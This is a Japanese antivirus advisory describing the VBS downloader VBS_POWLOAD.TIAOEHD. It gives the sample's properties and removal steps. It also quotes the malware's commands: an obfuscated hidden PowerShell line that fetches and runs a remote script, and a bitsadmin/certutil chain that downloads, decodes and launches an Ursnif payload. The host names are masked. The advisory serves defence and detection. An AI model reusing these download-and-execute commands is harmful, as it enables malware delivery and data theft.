解析者: Kiyoshi Obuchi   

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    トロイの木馬型

  • 破壊活動の有無:
    なし

  • 暗号化:
     

  • 感染報告の有無 :
    はい

  概要

感染経路 インターネットからのダウンロード

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

  詳細

ファイルサイズ 1,017 bytes
タイプ VBS
発見日 2018年7月18日
ペイロード URLまたはIPアドレスに接続, ファイルのダウンロード

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

その他

マルウェアは、以下を実行します。

  • 感染コンピュータのタイムゾーンが UTC+9 の場合にのみ、目的とする不正活動を実行します。
  • 以下の Powershellコマンドを利用して不正なファイルをダウンロードし実行します。
    • PowerSheLl -windowstyle hidden -noexit -executionpolicy bypass -command I`EX ((neW`-Obj`EcT (('Net'+'.'+'Webc'+'lient'))).(('Downloadst'+'ri'+'ng')).InVokE((('http:'+'//{BLOCKED}'+'{BLOCKED}'+'{BLOCKED}'+'{BLOCKED}l.com/les'+'s.'+'da'+'t'))))
  • 以下のURLに接続して不正なスクリプトを実行します。
    • http://{BLOCKED}l.com/less.dat
  • 本情報作成時点では、不正なスクリプトには以下のコマンドが含まれています。
    • start-process -wiNdowStylE HiDden cmd.exe /c bitsadmin /transfer notepadework /download /priority normal http://{BLOCKED}l.com/fdds.bin %User Temp%\certInfo.txt & Copy /Z %User Temp%certInfo.txt %User Temp%\certInf.txt & certutil -decode %User Temp%\certInf.txt %User Profile%\Documents\paint.exe & powershell -command ""start-process %User Profile%\Documents\paint.exe"
      ※このコマンドによって、TSPY_URSNIF.TIBAICV として検出されるファイルがダウンロードされ、実行されます。
  • 注意:ダウンロードされるスクリプトはいつでも変更される可能性があります。

  対応方法

対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 14.384.05
初回 VSAPI パターンリリース日 2018年7月17日
VSAPI OPR パターンバージョン 14.385.00
VSAPI OPR パターンリリース日 2018年7月18日

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

「VBS_POWLOAD.TIAOEHD」で検出したファイル名を確認し、そのファイルを終了します。

[ 詳細 ]

  • すべての実行中プロセスが、Windows のタスクマネージャに表示されない場合があります。この場合、"Process Explorer" などのツールを使用しマルウェアのファイルを終了してください。"Process Explorer" については、こちらをご参照下さい。
  • 検出ファイルが、Windows のタスクマネージャまたは "Process Explorer" に表示されるものの、削除できない場合があります。この場合、コンピュータをセーフモードで再起動してください。
    セーフモードについては、こちらをご参照下さい。
  • 検出ファイルがタスクマネージャ上で表示されない場合、次の手順にお進みください。

手順 4

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「VBS_POWLOAD.TIAOEHD」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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